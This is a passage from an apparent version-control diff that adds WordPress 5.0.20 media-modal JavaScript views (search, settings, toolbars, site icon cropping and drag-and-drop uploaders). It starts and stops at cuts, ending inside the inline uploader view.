+module.exports = Router;
Index: /tags/5.0.20/src/wp-includes/js/media/views/search.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/search.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/search.js	(revision 56912)
@@ -0,0 +1,46 @@
+var l10n = wp.media.view.l10n,
+	Search;
+
+/**
+ * wp.media.view.Search
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{
+	tagName:   'input',
+	className: 'search',
+	id:        'media-search-input',
+
+	attributes: {
+		type:        'search',
+		placeholder: l10n.searchMediaPlaceholder
+	},
+
+	events: {
+		'input':  'search',
+		'keyup':  'search'
+	},
+
+	/**
+	 * @returns {wp.media.view.Search} Returns itself to allow chaining
+	 */
+	render: function() {
+		this.el.value = this.model.escape('search');
+		return this;
+	},
+
+	search: _.debounce( function( event ) {
+		if ( event.target.value ) {
+			this.model.set( 'search', event.target.value );
+		} else {
+			this.model.unset('search');
+		}
+	}, 300 )
+});
+
+module.exports = Search;
Index: /tags/5.0.20/src/wp-includes/js/media/views/selection.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/selection.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/selection.js	(revision 56912)
@@ -0,0 +1,83 @@
+var l10n = wp.media.view.l10n,
+	Selection;
+
+/**
+ * wp.media.view.Selection
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{
+	tagName:   'div',
+	className: 'media-selection',
+	template:  wp.template('media-selection'),
+
+	events: {
+		'click .edit-selection':  'edit',
+		'click .clear-selection': 'clear'
+	},
+
+	initialize: function() {
+		_.defaults( this.options, {
+			editable:  false,
+			clearable: true
+		});
+
+		/**
+		 * @member {wp.media.view.Attachments.Selection}
+		 */
+		this.attachments = new wp.media.view.Attachments.Selection({
+			controller: this.controller,
+			collection: this.collection,
+			selection:  this.collection,
+			model:      new Backbone.Model()
+		});
+
+		this.views.set( '.selection-view', this.attachments );
+		this.collection.on( 'add remove reset', this.refresh, this );
+		this.controller.on( 'content:activate', this.refresh, this );
+	},
+
+	ready: function() {
+		this.refresh();
+	},
+
+	refresh: function() {
+		// If the selection hasn't been rendered, bail.
+		if ( ! this.$el.children().length ) {
+			return;
+		}
+
+		var collection = this.collection,
+			editing = 'edit-selection' === this.controller.content.mode();
+
+		// If nothing is selected, display nothing.
+		this.$el.toggleClass( 'empty', ! collection.length );
+		this.$el.toggleClass( 'one', 1 === collection.length );
+		this.$el.toggleClass( 'editing', editing );
+
+		this.$('.count').text( l10n.selected.replace('%d', collection.length) );
+	},
+
+	edit: function( event ) {
+		event.preventDefault();
+		if ( this.options.editable ) {
+			this.options.editable.call( this, this.collection );
+		}
+	},
+
+	clear: function( event ) {
+		event.preventDefault();
+		this.collection.reset();
+
+		// Keep focus inside media modal
+		// after clear link is selected
+		this.controller.modal.focusManager.focus();
+	}
+});
+
+module.exports = Selection;
Index: /tags/5.0.20/src/wp-includes/js/media/views/settings.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/settings.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/settings.js	(revision 56912)
@@ -0,0 +1,121 @@
+var View = wp.media.View,
+	$ = Backbone.$,
+	Settings;
+
+/**
+ * wp.media.view.Settings
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{
+	events: {
+		'click button':    'updateHandler',
+		'change input':    'updateHandler',
+		'change select':   'updateHandler',
+		'change textarea': 'updateHandler'
+	},
+
+	initialize: function() {
+		this.model = this.model || new Backbone.Model();
+		this.listenTo( this.model, 'change', this.updateChanges );
+	},
+
+	prepare: function() {
+		return _.defaults({
+			model: this.model.toJSON()
+		}, this.options );
+	},
+	/**
+	 * @returns {wp.media.view.Settings} Returns itself to allow chaining
+	 */
+	render: function() {
+		View.prototype.render.apply( this, arguments );
+		// Select the correct values.
+		_( this.model.attributes ).chain().keys().each( this.update, this );
+		return this;
+	},
+	/**
+	 * @param {string} key
+	 */
+	update: function( key ) {
+		var value = this.model.get( key ),
+			$setting = this.$('[data-setting="' + key + '"]'),
+			$buttons, $value;
+
+		// Bail if we didn't find a matching setting.
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		// Attempt to determine how the setting is rendered and update
+		// the selected value.
+
+		// Handle dropdowns.
+		if ( $setting.is('select') ) {
+			$value = $setting.find('[value="' + value + '"]');
+
+			if ( $value.length ) {
+				$setting.find('option').prop( 'selected', false );
+				$value.prop( 'selected', true );
+			} else {
+				// If we can't find the desired value, record what *is* selected.
+				this.model.set( key, $setting.find(':selected').val() );
+			}
+
+		// Handle button groups.
+		} else if ( $setting.hasClass('button-group') ) {
+			$buttons = $setting.find('button').removeClass('active');
+			$buttons.filter( '[value="' + value + '"]' ).addClass('active');
+
+		// Handle text inputs and textareas.
+		} else if ( $setting.is('input[type="text"], textarea') ) {
+			if ( ! $setting.is(':focus') ) {
+				$setting.val( value );
+			}
+		// Handle checkboxes.
+		} else if ( $setting.is('input[type="checkbox"]') ) {
+			$setting.prop( 'checked', !! value && 'false' !== value );
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	updateHandler: function( event ) {
+		var $setting = $( event.target ).closest('[data-setting]'),
+			value = event.target.value,
+			userSetting;
+
+		event.preventDefault();
+
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		// Use the correct value for checkboxes.
+		if ( $setting.is('input[type="checkbox"]') ) {
+			value = $setting[0].checked;
+		}
+
+		// Update the corresponding setting.
+		this.model.set( $setting.data('setting'), value );
+
+		// If the setting has a corresponding user setting,
+		// update that as well.
+		if ( userSetting = $setting.data('userSetting') ) {
+			window.setUserSetting( userSetting, value );
+		}
+	},
+
+	updateChanges: function( model ) {
+		if ( model.hasChanged() ) {
+			_( model.changed ).chain().keys().each( this.update, this );
+		}
+	}
+});
+
+module.exports = Settings;
Index: /tags/5.0.20/src/wp-includes/js/media/views/settings/attachment-display.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/settings/attachment-display.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/settings/attachment-display.js	(revision 56912)
@@ -0,0 +1,94 @@
+var Settings = wp.media.view.Settings,
+	AttachmentDisplay;
+
+/**
+ * wp.media.view.Settings.AttachmentDisplay
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{
+	className: 'attachment-display-settings',
+	template:  wp.template('attachment-display-settings'),
+
+	initialize: function() {
+		var attachment = this.options.attachment;
+
+		_.defaults( this.options, {
+			userSettings: false
+		});
+		// Call 'initialize' directly on the parent class.
+		Settings.prototype.initialize.apply( this, arguments );
+		this.listenTo( this.model, 'change:link', this.updateLinkTo );
+
+		if ( attachment ) {
+			attachment.on( 'change:uploading', this.render, this );
+		}
+	},
+
+	dispose: function() {
+		var attachment = this.options.attachment;
+		if ( attachment ) {
+			attachment.off( null, null, this );
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		Settings.prototype.dispose.apply( this, arguments );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentDisplay} Returns itself to allow chaining
+	 */
+	render: function() {
+		var attachment = this.options.attachment;
+		if ( attachment ) {
+			_.extend( this.options, {
+				sizes: attachment.get('sizes'),
+				type:  attachment.get('type')
+			});
+		}
+		/**
+		 * call 'render' directly on the parent class
+		 */
+		Settings.prototype.render.call( this );
+		this.updateLinkTo();
+		return this;
+	},
+
+	updateLinkTo: function() {
+		var linkTo = this.model.get('link'),
+			$input = this.$('.link-to-custom'),
+			attachment = this.options.attachment;
+
+		if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) {
+			$input.addClass( 'hidden' );
+			return;
+		}
+
+		if ( attachment ) {
+			if ( 'post' === linkTo ) {
+				$input.val( attachment.get('link') );
+			} else if ( 'file' === linkTo ) {
+				$input.val( attachment.get('url') );
+			} else if ( ! this.model.get('linkUrl') ) {
+				$input.val('http://');
+			}
+
+			$input.prop( 'readonly', 'custom' !== linkTo );
+		}
+
+		$input.removeClass( 'hidden' );
+
+		// If the input is visible, focus and select its contents.
+		if ( ! wp.media.isTouchDevice && $input.is(':visible') ) {
+			$input.focus()[0].select();
+		}
+	}
+});
+
+module.exports = AttachmentDisplay;
Index: /tags/5.0.20/src/wp-includes/js/media/views/settings/gallery.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/settings/gallery.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/settings/gallery.js	(revision 56912)
@@ -0,0 +1,17 @@
+/**
+ * wp.media.view.Settings.Gallery
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{
+	className: 'collection-settings gallery-settings',
+	template:  wp.template('gallery-settings')
+});
+
+module.exports = Gallery;
Index: /tags/5.0.20/src/wp-includes/js/media/views/settings/playlist.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/settings/playlist.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/settings/playlist.js	(revision 56912)
@@ -0,0 +1,17 @@
+/**
+ * wp.media.view.Settings.Playlist
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{
+	className: 'collection-settings playlist-settings',
+	template:  wp.template('playlist-settings')
+});
+
+module.exports = Playlist;
Index: /tags/5.0.20/src/wp-includes/js/media/views/sidebar.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/sidebar.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/sidebar.js	(revision 56912)
@@ -0,0 +1,16 @@
+/**
+ * wp.media.view.Sidebar
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Sidebar = wp.media.view.PriorityList.extend(/** @lends wp.media.view.Sidebar.prototype */{
+	className: 'media-sidebar'
+});
+
+module.exports = Sidebar;
Index: /tags/5.0.20/src/wp-includes/js/media/views/site-icon-cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/site-icon-cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/site-icon-cropper.js	(revision 56912)
@@ -0,0 +1,43 @@
+var View = wp.media.view,
+	SiteIconCropper;
+
+/**
+ * wp.media.view.SiteIconCropper
+ *
+ * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon.
+ *
+ * Takes imgAreaSelect options from
+ * wp.customize.SiteIconControl.calculateImageSelectOptions.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Cropper
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{
+	className: 'crop-content site-icon',
+
+	ready: function () {
+		View.Cropper.prototype.ready.apply( this, arguments );
+
+		this.$( '.crop-image' ).on( 'load', _.bind( this.addSidebar, this ) );
+	},
+
+	addSidebar: function() {
+		this.sidebar = new wp.media.view.Sidebar({
+			controller: this.controller
+		});
+
+		this.sidebar.set( 'preview', new wp.media.view.SiteIconPreview({
+			controller: this.controller,
+			attachment: this.options.attachment
+		}) );
+
+		this.controller.cropperView.views.add( this.sidebar );
+	}
+});
+
+module.exports = SiteIconCropper;
Index: /tags/5.0.20/src/wp-includes/js/media/views/site-icon-preview.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/site-icon-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/site-icon-preview.js	(revision 56912)
@@ -0,0 +1,56 @@
+var View = wp.media.View,
+	$ = jQuery,
+	SiteIconPreview;
+
+/**
+ * wp.media.view.SiteIconPreview
+ *
+ * Shows a preview of the Site Icon as a favicon and app icon while cropping.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+SiteIconPreview = View.extend(/** @lends wp.media.view.SiteIconPreview.prototype */{
+	className: 'site-icon-preview',
+	template: wp.template( 'site-icon-preview' ),
+
+	ready: function() {
+		this.controller.imgSelect.setOptions({
+			onInit: this.updatePreview,
+			onSelectChange: this.updatePreview
+		});
+	},
+
+	prepare: function() {
+		return {
+			url: this.options.attachment.get( 'url' )
+		};
+	},
+
+	updatePreview: function( img, coords ) {
+		var rx = 64 / coords.width,
+			ry = 64 / coords.height,
+			preview_rx = 16 / coords.width,
+			preview_ry = 16 / coords.height;
+
+		$( '#preview-app-icon' ).css({
+			width: Math.round(rx * this.imageWidth ) + 'px',
+			height: Math.round(ry * this.imageHeight ) + 'px',
+			marginLeft: '-' + Math.round(rx * coords.x1) + 'px',
+			marginTop: '-' + Math.round(ry * coords.y1) + 'px'
+		});
+
+		$( '#preview-favicon' ).css({
+			width: Math.round( preview_rx * this.imageWidth ) + 'px',
+			height: Math.round( preview_ry * this.imageHeight ) + 'px',
+			marginLeft: '-' + Math.round( preview_rx * coords.x1 ) + 'px',
+			marginTop: '-' + Math.floor( preview_ry* coords.y1 ) + 'px'
+		});
+	}
+});
+
+module.exports = SiteIconPreview;
Index: /tags/5.0.20/src/wp-includes/js/media/views/spinner.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/spinner.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/spinner.js	(revision 56912)
@@ -0,0 +1,35 @@
+/**
+ * wp.media.view.Spinner
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{
+	tagName:   'span',
+	className: 'spinner',
+	spinnerTimeout: false,
+	delay: 400,
+
+	show: function() {
+		if ( ! this.spinnerTimeout ) {
+			this.spinnerTimeout = _.delay(function( $el ) {
+				$el.addClass( 'is-active' );
+			}, this.delay, this.$el );
+		}
+
+		return this;
+	},
+
+	hide: function() {
+		this.$el.removeClass( 'is-active' );
+		this.spinnerTimeout = clearTimeout( this.spinnerTimeout );
+
+		return this;
+	}
+});
+
+module.exports = Spinner;
Index: /tags/5.0.20/src/wp-includes/js/media/views/toolbar.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/toolbar.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/toolbar.js	(revision 56912)
@@ -0,0 +1,162 @@
+var View = wp.media.View,
+	Toolbar;
+
+/**
+ * wp.media.view.Toolbar
+ *
+ * A toolbar which consists of a primary and a secondary section. Each sections
+ * can be filled with views.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{
+	tagName:   'div',
+	className: 'media-toolbar',
+
+	initialize: function() {
+		var state = this.controller.state(),
+			selection = this.selection = state.get('selection'),
+			library = this.library = state.get('library');
+
+		this._views = {};
+
+		// The toolbar is composed of two `PriorityList` views.
+		this.primary   = new wp.media.view.PriorityList();
+		this.secondary = new wp.media.view.PriorityList();
+		this.primary.$el.addClass('media-toolbar-primary search-form');
+		this.secondary.$el.addClass('media-toolbar-secondary');
+
+		this.views.set([ this.secondary, this.primary ]);
+
+		if ( this.options.items ) {
+			this.set( this.options.items, { silent: true });
+		}
+
+		if ( ! this.options.silent ) {
+			this.render();
+		}
+
+		if ( selection ) {
+			selection.on( 'add remove reset', this.refresh, this );
+		}
+
+		if ( library ) {
+			library.on( 'add remove reset', this.refresh, this );
+		}
+	},
+	/**
+	 * @returns {wp.media.view.Toolbar} Returns itsef to allow chaining
+	 */
+	dispose: function() {
+		if ( this.selection ) {
+			this.selection.off( null, null, this );
+		}
+
+		if ( this.library ) {
+			this.library.off( null, null, this );
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		return View.prototype.dispose.apply( this, arguments );
+	},
+
+	ready: function() {
+		this.refresh();
+	},
+
+	/**
+	 * @param {string} id
+	 * @param {Backbone.View|Object} view
+	 * @param {Object} [options={}]
+	 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+	 */
+	set: function( id, view, options ) {
+		var list;
+		options = options || {};
+
+		// Accept an object with an `id` : `view` mapping.
+		if ( _.isObject( id ) ) {
+			_.each( id, function( view, id ) {
+				this.set( id, view, { silent: true });
+			}, this );
+
+		} else {
+			if ( ! ( view instanceof Backbone.View ) ) {
+				view.classes = [ 'media-button-' + id ].concat( view.classes || [] );
+				view = new wp.media.view.Button( view ).render();
+			}
+
+			view.controller = view.controller || this.controller;
+
+			this._views[ id ] = view;
+
+			list = view.options.priority < 0 ? 'secondary' : 'primary';
+			this[ list ].set( id, view, options );
+		}
+
+		if ( ! options.silent ) {
+			this.refresh();
+		}
+
+		return this;
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.view.Button}
+	 */
+	get: function( id ) {
+		return this._views[ id ];
+	},
+	/**
+	 * @param {string} id
+	 * @param {Object} options
+	 * @returns {wp.media.view.Toolbar} Returns itself to allow chaining
+	 */
+	unset: function( id, options ) {
+		delete this._views[ id ];
+		this.primary.unset( id, options );
+		this.secondary.unset( id, options );
+
+		if ( ! options || ! options.silent ) {
+			this.refresh();
+		}
+		return this;
+	},
+
+	refresh: function() {
+		var state = this.controller.state(),
+			library = state.get('library'),
+			selection = state.get('selection');
+
+		_.each( this._views, function( button ) {
+			if ( ! button.model || ! button.options || ! button.options.requires ) {
+				return;
+			}
+
+			var requires = button.options.requires,
+				disabled = false;
+
+			// Prevent insertion of attachments if any of them are still uploading
+			if ( selection && selection.models ) {
+				disabled = _.some( selection.models, function( attachment ) {
+					return attachment.get('uploading') === true;
+				});
+			}
+
+			if ( requires.selection && selection && ! selection.length ) {
+				disabled = true;
+			} else if ( requires.library && library && ! library.length ) {
+				disabled = true;
+			}
+			button.model.set( 'disabled', disabled );
+		});
+	}
+});
+
+module.exports = Toolbar;
Index: /tags/5.0.20/src/wp-includes/js/media/views/toolbar/embed.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/toolbar/embed.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/toolbar/embed.js	(revision 56912)
@@ -0,0 +1,37 @@
+var Select = wp.media.view.Toolbar.Select,
+	l10n = wp.media.view.l10n,
+	Embed;
+
+/**
+ * wp.media.view.Toolbar.Embed
+ *
+ * @memberOf wp.media.view.Toolbar
+ *
+ * @class
+ * @augments wp.media.view.Toolbar.Select
+ * @augments wp.media.view.Toolbar
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			text: l10n.insertIntoPost,
+			requires: false
+		});
+		// Call 'initialize' directly on the parent class.
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	refresh: function() {
+		var url = this.controller.state().props.get('url');
+		this.get('select').model.set( 'disabled', ! url || url === 'http://' );
+		/**
+		 * call 'refresh' directly on the parent class
+		 */
+		Select.prototype.refresh.apply( this, arguments );
+	}
+});
+
+module.exports = Embed;
Index: /tags/5.0.20/src/wp-includes/js/media/views/toolbar/select.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/toolbar/select.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/toolbar/select.js	(revision 56912)
@@ -0,0 +1,70 @@
+var Toolbar = wp.media.view.Toolbar,
+	l10n = wp.media.view.l10n,
+	Select;
+
+/**
+ * wp.media.view.Toolbar.Select
+ *
+ * @memberOf wp.media.view.Toolbar
+ *
+ * @class
+ * @augments wp.media.view.Toolbar
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{
+	initialize: function() {
+		var options = this.options;
+
+		_.bindAll( this, 'clickSelect' );
+
+		_.defaults( options, {
+			event: 'select',
+			state: false,
+			reset: true,
+			close: true,
+			text:  l10n.select,
+
+			// Does the button rely on the selection?
+			requires: {
+				selection: true
+			}
+		});
+
+		options.items = _.defaults( options.items || {}, {
+			select: {
+				style:    'primary',
+				text:     options.text,
+				priority: 80,
+				click:    this.clickSelect,
+				requires: options.requires
+			}
+		});
+		// Call 'initialize' directly on the parent class.
+		Toolbar.prototype.initialize.apply( this, arguments );
+	},
+
+	clickSelect: function() {
+		var options = this.options,
+			controller = this.controller;
+
+		if ( options.close ) {
+			controller.close();
+		}
+
+		if ( options.event ) {
+			controller.state().trigger( options.event );
+		}
+
+		if ( options.state ) {
+			controller.setState( options.state );
+		}
+
+		if ( options.reset ) {
+			controller.reset();
+		}
+	}
+});
+
+module.exports = Select;
Index: /tags/5.0.20/src/wp-includes/js/media/views/uploader/editor.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/uploader/editor.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/uploader/editor.js	(revision 56912)
@@ -0,0 +1,225 @@
+var View = wp.media.View,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	EditorUploader;
+
+/**
+ * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap)
+ * and relays drag'n'dropped files to a media workflow.
+ *
+ * wp.media.view.EditorUploader
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{
+	tagName:   'div',
+	className: 'uploader-editor',
+	template:  wp.template( 'uploader-editor' ),
+
+	localDrag: false,
+	overContainer: false,
+	overDropzone: false,
+	draggingFile: null,
+
+	/**
+	 * Bind drag'n'drop events to callbacks.
+	 */
+	initialize: function() {
+		this.initialized = false;
+
+		// Bail if not enabled or UA does not support drag'n'drop or File API.
+		if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) {
+			return this;
+		}
+
+		this.$document = $(document);
+		this.dropzones = [];
+		this.files = [];
+
+		this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) );
+		this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) );
+		this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) );
+		this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) );
+
+		this.$document.on( 'dragover', _.bind( this.containerDragover, this ) );
+		this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) );
+
+		this.$document.on( 'dragstart dragend drop', _.bind( function( event ) {
+			this.localDrag = event.type === 'dragstart';
+
+			if ( event.type === 'drop' ) {
+				this.containerDragleave();
+			}
+		}, this ) );
+
+		this.initialized = true;
+		return this;
+	},
+
+	/**
+	 * Check browser support for drag'n'drop.
+	 *
+	 * @return Boolean
+	 */
+	browserSupport: function() {
+		var supports = false, div = document.createElement('div');
+
+		supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div );
+		supports = supports && !! ( window.File && window.FileList && window.FileReader );
+		return supports;
+	},
+
+	isDraggingFile: function( event ) {
+		if ( this.draggingFile !== null ) {
+			return this.draggingFile;
+		}
+
+		if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) {
+			return false;
+		}
+
+		this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 &&
+			_.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1;
+
+		return this.draggingFile;
+	},
+
+	refresh: function( e ) {
+		var dropzone_id;
+		for ( dropzone_id in this.dropzones ) {
+			// Hide the dropzones only if dragging has left the screen.
+			this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone );
+		}
+
+		if ( ! _.isUndefined( e ) ) {
+			$( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone );
+		}
+
+		if ( ! this.overContainer && ! this.overDropzone ) {
+			this.draggingFile = null;
+		}
+
+		return this;
+	},
+
+	render: function() {
+		if ( ! this.initialized ) {
+			return this;
+		}
+
+		View.prototype.render.apply( this, arguments );
+		$( '.wp-editor-wrap' ).each( _.bind( this.attach, this ) );
+		return this;
+	},
+
+	attach: function( index, editor ) {
+		// Attach a dropzone to an editor.
+		var dropzone = this.$el.clone();
+		this.dropzones.push( dropzone );
+		$( editor ).append( dropzone );
+		return this;
+	},
+
+	/**
+	 * When a file is dropped on the editor uploader, open up an editor media workflow
+	 * and upload the file immediately.
+	 *
+	 * @param  {jQuery.Event} event The 'drop' event.
+	 */
+	drop: function( event ) {
+		var $wrap, uploadView;
+
+		this.containerDragleave( event );
+		this.dropzoneDragleave( event );
+
+		this.files = event.originalEvent.dataTransfer.files;
+		if ( this.files.length < 1 ) {
+			return;
+		}
+
+		// Set the active editor to the drop target.
+		$wrap = $( event.target ).parents( '.wp-editor-wrap' );
+		if ( $wrap.length > 0 && $wrap[0].id ) {
+			window.wpActiveEditor = $wrap[0].id.slice( 3, -5 );
+		}
+
+		if ( ! this.workflow ) {
+			this.workflow = wp.media.editor.open( window.wpActiveEditor, {
+				frame:    'post',
+				state:    'insert',
+				title:    l10n.addMedia,
+				multiple: true
+			});
+
+			uploadView = this.workflow.uploader;
+
+			if ( uploadView.uploader && uploadView.uploader.ready ) {
+				this.addFiles.apply( this );
+			} else {
+				this.workflow.on( 'uploader:ready', this.addFiles, this );
+			}
+		} else {
+			this.workflow.state().reset();
+			this.addFiles.apply( this );
+			this.workflow.open();
+		}
+
+		return false;
+	},
+
+	/**
+	 * Add the files to the uploader.
+	 */
+	addFiles: function() {
+		if ( this.files.length ) {
+			this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) );
+			this.files = [];
+		}
+		return this;
+	},
+
+	containerDragover: function( event ) {
+		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+			return;
+		}
+
+		this.overContainer = true;
+		this.refresh();
+	},
+
+	containerDragleave: function() {
+		this.overContainer = false;
+
+		// Throttle dragleave because it's called when bouncing from some elements to others.
+		_.delay( _.bind( this.refresh, this ), 50 );
+	},
+
+	dropzoneDragover: function( event ) {
+		if ( this.localDrag || ! this.isDraggingFile( event ) ) {
+			return;
+		}
+
+		this.overDropzone = true;
+		this.refresh( event );
+		return false;
+	},
+
+	dropzoneDragleave: function( e ) {
+		this.overDropzone = false;
+		_.delay( _.bind( this.refresh, this, e ), 50 );
+	},
+
+	click: function( e ) {
+		// In the rare case where the dropzone gets stuck, hide it on click.
+		this.containerDragleave( e );
+		this.dropzoneDragleave( e );
+		this.localDrag = false;
+	}
+});
+
+module.exports = EditorUploader;
Index: /tags/5.0.20/src/wp-includes/js/media/views/uploader/inline.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/uploader/inline.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/uploader/inline.js	(revision 56912)
@@ -0,0 +1,140 @@
+var View = wp.media.View,
+	UploaderInline;
+
+/**
+ * wp.media.view.UploaderInline
+ *
+ * The inline uploader that shows up in the 'Upload Files' tab.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{
+	tagName:   'div',
+	className: 'uploader-inline',
+	template:  wp.template('uploader-inline'),
+
+	events: {
+		'click .close': 'hide'
+	},
+
+	initialize: function() {
+		_.defaults( this.options, {
+			message: '',
+			status:  true,
+			canClose: false
+		});
+
+		if ( ! this.options.$browser && this.controller.uploader ) {
+			this.options.$browser = this.controller.uploader.$browser;
+		}
+
+		if ( _.isUndefined( this.options.postId ) ) {
+			this.options.postId = wp.media.view.settings.post.id;
+		}
+
+		if ( this.options.status ) {
+			this.views.set( '.upload-inline-status', new wp.media.view.UploaderStatus({
+				controller: this.controller
+			}) );
+		}
+	},
+
+	prepare: function() {
+		var suggestedWidth = this.controller.state().get('suggestedWidth'),
+			suggestedHeight = this.controller.state().get('suggestedHeight'),
+			data = {};
+
+		data.message = this.options.message;
+		data.canClose = this.options.canClose;
+
+		if ( suggestedWidth && suggestedHeight ) {
+			data.suggestedWidth = suggestedWidth;
+			data.suggestedHeight = suggestedHeight;
+		}
+
+		return data;
+	},
+	/**
+	 * @returns {wp.media.view.UploaderInline} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		if ( this.disposing ) {
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			return View.prototype.dispose.apply( this, arguments );
+		}
+
